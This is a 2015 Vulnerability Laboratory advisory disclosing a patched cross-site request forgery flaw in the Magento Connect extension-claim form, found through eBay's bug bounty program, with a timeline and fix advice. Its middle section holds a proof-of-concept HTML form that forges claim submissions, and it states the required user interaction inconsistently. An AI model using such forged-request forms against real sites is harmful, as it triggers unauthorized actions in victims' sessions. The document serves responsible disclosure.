Document Title:
===============
Ebay Inc Magento Bug Bounty #16 - CSRF Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1472

Ebay Inc Security ID: EIBBP-31808


Release Date:
=============
2015-07-02


Vulnerability Laboratory ID (VL-ID):
====================================
1472


Common Vulnerability Scoring System:
====================================
2.5


Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March 
31, 2008 under the name Bento. It was developed 
by Varien (now Magento, a division of eBay) with help from the programmers 
within the open source community but is now owned 
solely by eBay Inc. Magento was built using parts of the Zend Framework. It 
uses the entity-attribute-value (EAV) database model 
to store data. In November 2013, W3Techs estimated that Magento was used by 
0.9% of all websites.

Our team of security professionals works hard to keep Magento customer 
information secure. What`s equally important to protecting 
this data? Our security researchers and user community. If you find a site that 
isn`t following our policies, or a vulnerability 
inside our system, please tell us right away.

( Copy of the Vendor Homepage: http://magento.com/security  &  
http://magento.com/security )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site 
request forgery web vulnerability in the official Magento Commerce online 
service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-04-19: Researcher Notification & Coordination (Hadji Samir)
2015-04-20: Vendor Notification (eBay Inc Security Team - Bug Bounty Program)
2015-04-26: Vendor Response/Feedback (eBay Inc Security Team - Bug Bounty 
Program)
2015-06-15: Vendor Fix/Patch (Magento Developer Team)
2015-06-30: Bug Bounty Reward (eBay Inc Security Team - Bug Bounty Program)
2015-07-02: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Ebay Inc.
Product: Magento - Connect Web Application 2015 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A cross site request forgery web vulnerability has been discovered in the 
official Magento Commerce online service web-application.
The vulnerability allows to execute functions without secure validation to 
compromise user content in the online service web-applicatio.

The vulnerability is located in the /claim/claim/new/ id value POST method 
request of the magento connect claim module. Remote attackers 
with low privileged user accounts are able to perform a malicious request of 
other users without auth. The request method is POST and the 
issue attack vector is client-side (non-persistent).

The security risk of the csrf web vulnerability is estimated as medium with a 
cvss (common vulnerability scoring system) count of 2.5. 
Exploitation of the cross site request forgery vulnerability requires no 
privileged web application user account and no user interaction. 
Successful exploitation of the web vulnerability results in unauthorized 
execution of web functions via client-side in the users web context. 

Request Method(s):
                                [+] POST

Vulnerable Module(s):
                                [+] magento-connect/claim/claim/new/


Proof of Concept (PoC):
=======================
The csrf web vulnerability can be exploited by remote attackers without 
privileged application user account and medium or high user interaction.
For security demonstration or to reproduce the security vulnerability follow 
the provided information and steps below to continue.


PoC: magento-connect/claim/claim/new/

<form action="http://www.magentocommerce.com/magento-connect/claim/claim/new/"; 
method="POST">

<input type="hidden" name="claim[claimed_extension_url]" 
value="http://www.magentocommerce.com/magento-connect/extname.html"/>

<input type="hidden" name="claim[original_extension_url]=" 
value="http://www.magentocommerce.com/magento-connect/test"/>

<input type="hidden" name="claim[sender_type]" value="no legal affiliation"/>
<input type="hidden" name="claim[description]" value="test"/>

<input type="hidden" name="claim[certify]" value="on"/>
<input type="hidden" name="claim[digital_signature]" 
value="claim[digital_signature]"/>

<input type="submit" value="send"/>
</form>

Note: The POST method request has no csrf token or key that protects the 
session data.

Reference(s):
http://www.magentocommerce.com/
http://www.magentocommerce.com/magento-connect/
http://www.magentocommerce.com/magento-connect/claim/
http://www.magentocommerce.com/magento-connect/claim/claim/new/


Solution - Fix & Patch:
=======================
The web vulnerability can be patched by implementation of a cross site request 
forgery token or a session key.
Both prevents by protecting the session credentials and secure web module 
functions.


Security Risk:
==============
The security risk of the client-side cross site request forgery web 
vulnerability in the magento commerce application is estimated as medium. (CVSS 
2.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [s...@hotmail.fr]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a 
particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential 
loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen 
material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com              
                        - www.evolution-sec.com
Contact:    ad...@vulnerability-lab.com         - 
resea...@vulnerability-lab.com                        - ad...@evolution-sec.com
Section:    magazine.vulnerability-db.com       - 
vulnerability-lab.com/contact.php                     - 
evolution-sec.com/contact
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab 
                        - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - 
vulnerability-lab.com/rss/rss_upcoming.php            - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - 
vulnerability-lab.com/list-of-bug-bounty-programs.php - 
vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file 
requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All 
other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, 
advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To 
record, list (feed), modify, use or edit our material contact 
(ad...@vulnerability-lab.com or resea...@vulnerability-lab.com) to get a 
permission.

                                Copyright © 2015 | Vulnerability Laboratory - 
[Evolution Security GmbH]™



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: resea...@vulnerability-lab.com
PGP KEY: 
http://www.vulnerability-lab.com/keys/ad...@vulnerability-lab.com%280x198E9928%29.txt


Reply via email to